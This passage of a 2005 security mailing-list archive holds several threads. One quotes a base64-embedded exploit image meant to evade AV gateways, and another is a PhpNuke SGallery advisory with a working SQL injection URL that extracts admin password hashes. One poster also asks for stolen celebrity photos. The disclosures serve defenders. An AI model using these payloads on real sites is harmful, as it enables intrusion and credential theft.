> > src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
> > gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
> > /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ
> > CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b
> > AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
> > MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA
> > AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
> > oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl
> > ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH
> > yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA
> > AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
> > QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk
> > ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF
> > xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD//
> > Z">
> > </body>
> > </html>
> >
> > ## END HTML ##
> >
> > Solution:
> >
> > While AV vendor patches are not yet available, fixes for all currently
> > known image vulnerabilities are
> > and have been for several months.  If you have not yet applied them,
> > you have your own
> > negligence to blame.
> >
> > Contributions:
> >
> > Thanks to Scott Roeder and Jacinto Rodriquez their assistance in
> > platform testing.
> >
> > Thank you,
> >
> > Darren Bounds
> > Intrusense, LLC.
> > http://www.intrusense.com
> >
> > - --
> > Intrusense - Securing Business As Usual
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v1.2.4 (Darwin)
> >
> > iD8DBQFB4tKesvxTSz2eaa8RAluUAKDmUsM6Hf+U321P/kALTC/rKwoLOwCfaK57
> > XT6MWYJOH3FmLfV3B1UfuJA=
> > =82yy
> > -----END PGP SIGNATURE-----
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

-- 

Noam Rathaus
CTO
Beyond Security Ltd.

http://www.beyondsecurity.com
http://www.securiteam.com


From mlande at bellsouth.net  Wed Jan 12 16:00:30 2005
From: mlande at bellsouth.net (Mary Landesman)
Date: Wed, 12 Jan 2005 11:00:30 -0500
Subject: [Full-Disclosure] FW: MS Antispyware makes deal to
	leaveWeatherbugalone
References: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAA9ZAheQiynkiwOfSKWFvCEgEAAAAA@online.gateway.expertworks.net>
Message-ID: <017701c4f8bf$d77a1240$0e3eac18@MLANDE>

This began with Aluria (makes of Spyware Eliminator). They (Aluria) began a
'spyware safe' certification program. Some they've granted the use of the
logo include WeatherBug and WhenU. In the case of WhenU (and perhaps
others), Aluria has also created 'UControl' - a 'free' 'spyware' scanner
(costs for removal, may be ignoring 'partners' in their logo/distribution
program, etc.) that seems to get downloaded and installed with
adware/spyware apps.

While I don't agree with these actions on either of their parts, I do have
to say that the situation remains very complicated. For example, if
WhenUSearch and WeatherBug are candidates for inclusion (and I do believe
they are), then so is AIM (which uses Viewpoint Media Player to dish ads),
and Google toolbar (which tracks URLs visited unless you disable several
features of their toolbar).

CounterSpy (which uses MS-Giant technology) describes WeatherBug here:
http://research.sunbelt-software.com/threat_display.cfm?name=MiniBug

I think this language is fair and accurate. Assuming Microsoft AntiSpyware
provided the same description when it detected WeatherBug, I'm surprised
Microsoft so easily backed down. There is definitely a happy balance between
letting a user know adware is installed on their computer and calling it a
bad app. It would be great if more companies would focus on how this might
be done, instead of excluding detection arbitrarily - or calling rather
benign adware a high risk menace.

-- Mary



----- Original Message ----- 
From: "ALD, Aditya,Aditya Lalit Deshmukh"
<aditya.deshmukh at online.gateway.expertworks.net>
To: "'Todd Towles'" <toddtowles at brookshires.com>; "'Mailing List -
Full-Disclosure'" <full-disclosure at lists.netsys.com>
Sent: Tuesday, January 11, 2005 11:36 PM
Subject: RE: [Full-Disclosure] FW: MS Antispyware makes deal to
leaveWeatherbugalone


> And the money payoff begins..

So looks like MS anti spyware would be just one more useless tool from
microsoft.
As a win32 kern programmer I find all the spyware removal buiness too time
consuming - if any one of them affects my machine they get weeded out with a
kern debugger.
But there should be a way to automate the process.

Looks like we do have to stick with our trusty debuggers, spybot and
ad-aware!




From maru at scip.ch  Wed Jan 12 14:37:05 2005
From: maru at scip.ch (Marc Ruef)
Date: Wed, 12 Jan 2005 15:37:05 +0100
Subject: [Full-Disclosure] Attack Tool Kit 4.0 released
Message-ID: <5F9D803B30A8E4418166E637D50E9E2A139F25@miraculix.scip.ch>

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear list,

The Attack Tool Kit (ATK) is an open-source security scanner and exploiting framework for Microsoft Windows.

The ATK 4.0 has been released. Most improvements and enhancements has been invested in the reporting engine. The generation of html, text and Nessus nsr reports is now possible. Furthermore more than 340 ATK plugins are available and the Nessus NASL plugin handling has been re-introduced.

Feel free to download the latest release on the project web site at http://www.computec.ch/projekte/atk/

Regards,

Marc Ruef

PS.: I am still looking for good persons who want to support the project by writing new ATK plugins. If you're interessted, please let me know!

- -- 
) scip AG (
Technoparkstr. 1
8005 Z?rich
T +41 1 445 18 18 
F +41 1 445 18 19

maru at scip.ch
www.scip.ch

- - Aktuellste IT-Sicherheitsluecken -

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0
Comment: http://www.scip.ch

iQA/AwUBQeU2Ehe5hzJzqVMhEQIAigCggmaZnYBHcTnMSdulf+jOKK1CCv4AoOe8
+l2tI0NgmZ+GY1HgD5oXB75Y
=W9+i
-----END PGP SIGNATURE-----





From onestepto at yahoo.com.au  Wed Jan 12 16:50:37 2005
From: onestepto at yahoo.com.au (Paul)
Date: Thu, 13 Jan 2005 03:50:37 +1100 (EST)
Subject: [Full-Disclosure] Incorrect characters
Message-ID: <20050112165037.69934.qmail@web12826.mail.yahoo.com>

Hi list, 
Firstly, I sent an email to a client quoting some prices on the server that we use for our own website and it arrived with the (correctly) typed ? sign as a capital 'L' .
I then sent a test email to myself from my ISP account to my address on this same (questionable) server and it was perfect. To be sure, I repeated this exercise the opposite way round (own server to ISP a/c) again perfect! I phoned my ISP help boys who are usually mega reliable and they assured me they had never experienced this before. So - has anyone any ideas on this, I can only assume that the problem lies with the recipient's ISP's web server - I do not know the os.
 
Secondly, if characters are being mis-read by a machine on any send path does such an error constitute a risk?
 
Thirdly, if so, what steps should be taken?
 


</rave>
Catch ya
_____________________
one step at a time...


---------------------------------
Find local movie times and trailers on Yahoo! Movies.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/9aced1c0/attachment.html 

From deindl at irt.de  Wed Jan 12 16:58:24 2005
From: deindl at irt.de (Albert Deindl)
Date: Wed, 12 Jan 2005 17:58:24 +0100
Subject: [Full-Disclosure] MediaSentry false positives?
In-Reply-To: <dc718edc050104212217392af6@mail.gmail.com>
References: <dc718edc050104212217392af6@mail.gmail.com>
Message-ID: <41E55730.4060501@irt.de>

Hello,

> Has anybody received "Notice of claimed infringement" from MediaSentry
> for IP addresses which, while registered to you or your organization,
> are in a range not actively in use?

Just to mention:
We also received several "Notice of claimed infringement" from 
MediaSentry over the last few weeks.

All ip addresses claimed to offer copyrighted material were from unused
Subnets.
Although these subnets ARE routed - we can almost certainly
rule out the possibility of some employee using these ips at the
claimed time unbeknown to us.

It seems to me that MediaSentrie's tools are not working as the are 
supposed to do.

Albert


-- 


From joel at servicestyle.com  Wed Jan 12 17:46:52 2005
From: joel at servicestyle.com (Joel Merrick)
Date: Wed, 12 Jan 2005 17:46:52 +0000
Subject: [Full-Disclosure] Incorrect characters
In-Reply-To: <20050112165037.69934.qmail@web12826.mail.yahoo.com>
References: <20050112165037.69934.qmail@web12826.mail.yahoo.com>
Message-ID: <1105552013.24356.0.camel@localhost>

On Thu, 2005-01-13 at 03:50 +1100, Paul wrote:
> Hi list, 
> Firstly, I sent an email to a client quoting some prices on the server
> that we use for our own website and it arrived with the (correctly)
> typed ? sign as a capital 'L' .

Dunno if it's purely coincidental, but 'L' was the old way of writing ?

Doubt this helps with character sets though ;)

> I then sent a test email to myself from my ISP account to my address
> on this same (questionable) server and it was perfect. To be sure, I
> repeated this exercise the opposite way round (own server to ISP a/c)
> again perfect! I phoned my ISP help boys who are usually mega reliable
> and they assured me they had never experienced this before. So - has
> anyone any ideas on this, I can only assume that the problem lies with
> the recipient's ISP's web server - I do not know the os.
>  
> Secondly, if characters are being mis-read by a machine on any send
> path does such an error constitute a risk?
>  
> Thirdly, if so, what steps should be taken?
>  
> 
> 
> </rave>
> Catch ya
> _____________________
> one step at a time...
> 
> 
> 
> ______________________________________________________________________
> Find local movie times and trailers on Yahoo! Movies.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
-- 
Joel Merrick

email:  <joel at servicestyle.com>
mobile: 07929 208 567
ServiceStyle Ltd. - Manchester's Technology Experts
https://www.servicestyle.com

GPG Public Key - https://www.servicestyle.com/joel_servicestyle.asc
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/ca905e16/attachment.bin 

From bruen at coldrain.net  Wed Jan 12 18:25:08 2005
From: bruen at coldrain.net (Stormwalker)
Date: Wed, 12 Jan 2005 13:25:08 -0500 (EST)
Subject: [Full-Disclosure] Reality, humor, and history (was Re: MORE
	CRITICAL FLAWS IN MS WINDOWS EXPLORER 
In-Reply-To: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu>
Message-ID: <Pine.LNX.4.44.0501121310140.9212-100000@matrix.coldrain.net>


Hi Valdis,

  Must be my age...

  The synch call writes memory/cache resident data to the appropriate disk
files, but does not wait to see if all the dirty buffers in memory have
been written to disk before it completes. There is no good way to know if
all have files have been updated, except to synch a few times. The haltsys
command (Unix V) and shutdown -h issue several synch calls to take care of
the problem. Unix today generally issues an update command which calls
synch every 30 seconds or so in case of a crash or other sudden,
unexpected shutdown (eg fsflush in SVR4). And then there is the potential 
problem of remote disks, which can cause time delays.
 
The metadata inconsistencies are handled differently, partly by the write 
order and partly by fsck.

              cheers, bob

(*) My all-time favorite "Close, but no ceee-gar" was the advice column
for a Unix journal where the author *remembered* the old "3 syncs before
halt" adage - but got it Very Wrong by advising "sync;sync;sync;halt".  
Bonus points if you can remember (a) the *original* reason for the advice
*and* (b) how this version was Very Wrong (there's *multiple* answers for
this one ;)


-- 
Dr. Robert Bruen
Cold Rain Technologies 
http://coldrain.net
+1.802.579.6288



From andfarm at teknovis.com  Wed Jan 12 19:57:27 2005
From: andfarm at teknovis.com (Andrew Farmer)
Date: Wed, 12 Jan 2005 11:57:27 -0800
Subject: [Full-Disclosure] Reality, humor,
	and history (was Re: MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER 
In-Reply-To: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu>
References: <200501120435.j0C4Zars018630@lists.netsys.com>
	<046c01c4f873$3f351f30$0500a8c0@apollo>
	<200501120936.j0C9arSp025309@turing-police.cc.vt.edu>
Message-ID: <2F2FAF61-64D4-11D9-B1DF-000D93C0F38C@teknovis.com>

On 12 Jan 2005, at 01:36, Valdis.Kletnieks at vt.edu wrote:
> (*) My all-time favorite "Close, but no ceee-gar" was the advice 
> column for a
> Unix journal where the author *remembered* the old "3 syncs before 
> halt"
> adage - but got it Very Wrong by advising "sync;sync;sync;halt".  Bonus
> points if you can remember (a) the *original* reason for the advice 
> *and*
> (b) how this version was Very Wrong (there's *multiple* answers for 
> this one ;)

As far as the reason this version was so Very Wrong, the main reason 
for syncing three times was the delay introduced by retyping a command 
thrice. Typing the whole sequence as a single line wouldn't introduce 
any significant delay, making the whole thing useless.

Most modern systems, however, will at least make a best-effort attempt 
to push all dirty blocks out to disk on a sync(), as well as on halt.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/eaa9a87d/attachment.bin 

From stevenrakick at yahoo.com  Wed Jan 12 20:37:42 2005
From: stevenrakick at yahoo.com (Steven Rakick)
Date: Wed, 12 Jan 2005 12:37:42 -0800 (PST)
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
Message-ID: <20050112203742.77430.qmail@web53205.mail.yahoo.com>

This would mean that if an image exploiting the
recently announced Microsoft LoadImage API overflow
were imbedded into HTML email there would be zero
defense from the network layer as it would be
completely invisible.

Why am I not seeing more about this in the press? It
seems pretty threatening to me...


> On Tue, 11 Jan 2005 14:58:43 -0500, Darren Bounds
> <lists at intrusense.com> wrote:
> > Hello Danny,
> > 
> > This vulnerability is only applicable to the HTTP
> data while in
> > transit. Once received by the client the image
> will
> be rendered and
> > subsequently detected if local AV software.
> > 
> > At the present time, I'm not aware of any AV, IDS
> or
> IPS vendor that
> > will detect malicious images imbedded in HTML in
> this manner.
> > 
> > 
> > Thank you,
> > 
> > Darren Bounds
> > Intrusense, LLC.
> > 
> > --
> > Intrusense - Securing Business As Usual
> > 
> > On Jan 11, 2005, at 2:14 PM, Danny wrote:
> > 
> > > On Mon, 10 Jan 2005 14:08:11 -0500, Darren
> Bounds
> > > <dbounds at intrusense.com> wrote:
> > >> -----BEGIN PGP SIGNED MESSAGE-----
> > >> Hash: SHA1
> > >>
> > >> Multi-vendor AV gateway image inspection bypass
> vulnerability
> > >> January 10, 2005
> > >>
> > >> A vulnerability has been discovered which
> allows
> a remote attacker to
> > >> bypass anti-virus
> > >> (as well other security technologies such as
> IDS
> and IPS) inspection
> > >> of
> > >> HTTP image content.
> > >>
> > >> By leveraging techniques described in RFC 2397
> for base64 encoding
> > >> image content within
> > >> the URL scheme. A remote attack may encode a
> malicious image within
> > >> the
> > >> body of an HTML
> > >> formatted document to circumvent content
> inspection.
> > >>
> > >> For example:
> > >>
> > >>
>
http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
> > >>
> > >> The source code at the URL above will by
> default
> create a JPEG image
> > >> that will attempt (and fail
> > >> without tweaking) to exploit the Microsoft
> MS04-028 GDI+
> > >> vulnerability.
> > >> The image itself is detected
> > >> by all AV gateway engines tested (Trend, Sophos
> and McAfee), however,
> > >> when the same image
> > >> is base64 encoded using the technique described
> in RFC 2397
> > >> (documented
> > >> below), inspection
> > >> is not performed and is delivered rendered by
> the
> client.
> > >>
> > >> While Microsoft Internet Explorer does not
> support the RFC 2397 URL
> > >> scheme; Firefox, Safari,
> > >> Mozilla and Opera do and will render the data
> and
> thus successfully
> > >> execute the payload if the necessary
> > >> OS and/or application patches have not been
> applied.
> > >>
> > >> ## BEGIN HTML ##
> > >>
> > >> <html>
> > >> <body>
> > >> <img
> > >>
>
src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
> > >> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
> > >> /
> > >>
>
X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
> > >> B
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> > >> FB
> > >>
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/
> > >> bAEMACAYGBwYFCAcHBwkJ
> > >>
>
CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv
> > >> /b
> > >>
>
AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
> > >> Iy
> > >> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/
> > >> xAAfAAABBQEBAQEBAQAAAAAAAAAA
> > >> AQIDBAUGBwgJCgv/
> > >>
>
xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
> > >>
>
oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2
> > >> Rl
> > >>
>
ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc
> > >> bH
> 
=== message truncated ===



		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - now with 250MB free storage. Learn more.
http://info.mail.yahoo.com/mail_250


From mike124 at gmail.com  Wed Jan 12 17:28:02 2005
From: mike124 at gmail.com (Michael Yandrischovitz)
Date: Wed, 12 Jan 2005 12:28:02 -0500
Subject: [Full-Disclosure] AOL password issue
Message-ID: <a7cf042e050112092857c65e36@mail.gmail.com>

I recently discovered an interesting security issue with AOL 9.0SE
/AOL Messanger(suprise,suprise). If a user has an exsisting account
with AOL, and changes his or her account password, the old password
still works to log on to AIM. This lets the attacker access to all the
features of AIM, including webmail. I have only tested this with the
lastest versions of AOL and AIM.


From khermansen at ht-technology.com  Wed Jan 12 18:43:50 2005
From: khermansen at ht-technology.com (Kristian Hermansen)
Date: Wed, 12 Jan 2005 13:43:50 -0500
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities
In-Reply-To: <200501121700.j0CH0K9g013975@lists.netsys.com>
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
Message-ID: <1105555430.9780.12.camel@localhost.localdomain>

Does anyone have specifics on how this hacker Jacobson exploited flaws
in the T-Mobile server applications to gain entry to the back-end
database?  Was it some gross oversight on T-Mobile's part or something
more obscure that admins should know about?  The Secret Service seems to
believe that either his skills or his underground connections will allow
him to be their personal slut for the next few years.

http://www.securityfocus.com/news/10271

Oh, and if anyone has some of the celebrity pictures that he snarfed
from the database I would care for a link!
-- 
Kristian Hermansen <khermansen at ht-technology.com>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/975b39c4/attachment.bin 

From come2waraxe at yahoo.com  Wed Jan 12 20:08:13 2005
From: come2waraxe at yahoo.com (Janek Vind)
Date: Wed, 12 Jan 2005 12:08:13 -0800 (PST)
Subject: [Full-Disclosure] [waraxe-2005-SA#039] - Critical Sql Injection in
	Sgallery module for PhpNuke
Message-ID: <20050112200813.94444.qmail@web50410.mail.yahoo.com>



{================================================================================}
{                              [waraxe-2005-SA#039]   
                          }
{================================================================================}
{                                                     
                          }
{             [ Critical Sql Injection in Sgallery
module for PhpNuke ]          }
{                                                     
                          }
{================================================================================}
                                                      
                                                      
                  
Author: Janek Vind "waraxe"
Date: 12. January 2005
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-39.html


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Module's Name: SGallery
Module's Version: 1.01
Module's Description: Simple JPG image gallery
License: GNU/GPL
Author's Name: Sergey Kiselev
Author's Email: ser at acmetelecom.ru

Homepage: http://www.ser.acmetelecom.ru


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's look at source code from imageview.php:


----------------[ original code ]---------------

require_once("$DOCUMENT_ROOT/config.php");
require_once("$DOCUMENT_ROOT/includes/sql_layer.php");
  
  $dbi = sql_connect
($dbhost,$dbuname,$dbpass,$dbname);

  if ($idalbum) {
    $result = sql_query("select picture from
".$prefix."_SGalbums where idalbum=".$idalbum,$dbi);
  } elseif ($idimage) {
    $result = sql_query("select picture from
".$prefix."_SGimages where idimage=".$idimage,$dbi);
  }

  list($echo) = sql_fetch_row($result, $dbi);
  sql_free_result($result);

  sql_logout ($dbi);

  header ("Content-Type: image/jpeg");
  echo $echo;

----------------[ /original code ]---------------

Now let's analyze the weak points.


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If "$idalbum" and "$idimage" are both unset, then
because of the open "if/elseif" construction
there variable "$result" will be unset or can be
poisoned through GET/POST/COOKIE.
And next call of the "sql_fetch_row()" will trigger
generic php error messages, leading to
full path disclosure. Path disclosure is considered as
low level security threat, but anyway it's
useful for further malicious actions.


B - Potential arbitrary file inclusion:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This kind of code construction as

require_once("$DOCUMENT_ROOT/config.php");
require_once("$DOCUMENT_ROOT/includes/sql_layer.php");

is not very secure. Depending of the webserver
software vendor,version number and configuration
settings it can lead to arbitrary file inclusion and
possible remote file inclusion.


C - Critical sql injection bug in "imageview.php":
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Looking at source code, presented above, we can see
unsecure sql queries directed to the database.
To be excact, user submitted variables "$idalbum"
and/or "$idimage" are used in sql "SELECT" clause
without escaping with single quotes. This is clearly
sql injection bug. Further exploitation will
depend on database software and version. In case of
the mysql version 4.x with UNION functionality
enabled,
arbitrary data can be retrieved from database,
inluding admin(s) authentication credentials.
Traditionally, there is the proof of concept:


----------------[ real life exploit ]---------------

http://localhost/nuke75/modules/Sgallery/imageview.php?idimage=-99/**/UNION/
**/SELECT/**/pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1

----------------[/real life exploit ]---------------

Best browser to test this POC is MSIE - it will show
plaintext admin password's md5 hash as needed.
Firefox and other browsers will mostly rendering out
"broken picture" because of the
"Content-Type: image/jpeg" header. But anyway, sql
injection exists, can be exploited and must be
fixed by vendor as soon as possible.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Developer first contacted: 16. November 2004
No response from developer after multiple sent emails.
Downloadable version of the Sgalley is still
unpatched.

How to fix this security hole -
http://www.waraxe.us/forums.html


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Base64 encoder and decoder -
http://base64-encoder-online.waraxe.us/
SiteMapper - free php script for phpNuke powered
websites - http://sitemapper.waraxe.us/
It's easy to install solution for making phpNuke more
Google friendly!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to icenix, Raido Kerna, g0df4th3r and
slimjim100!
Tervitused - Heintz!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe at yahoo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ]
------------------------------------


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


From eric at arcticbears.com  Wed Jan 12 21:32:19 2005
From: eric at arcticbears.com (Eric Paynter)
Date: Wed, 12 Jan 2005 13:32:19 -0800 (PST)
Subject: [Full-Disclosure] PoC to be released on 01/20/05
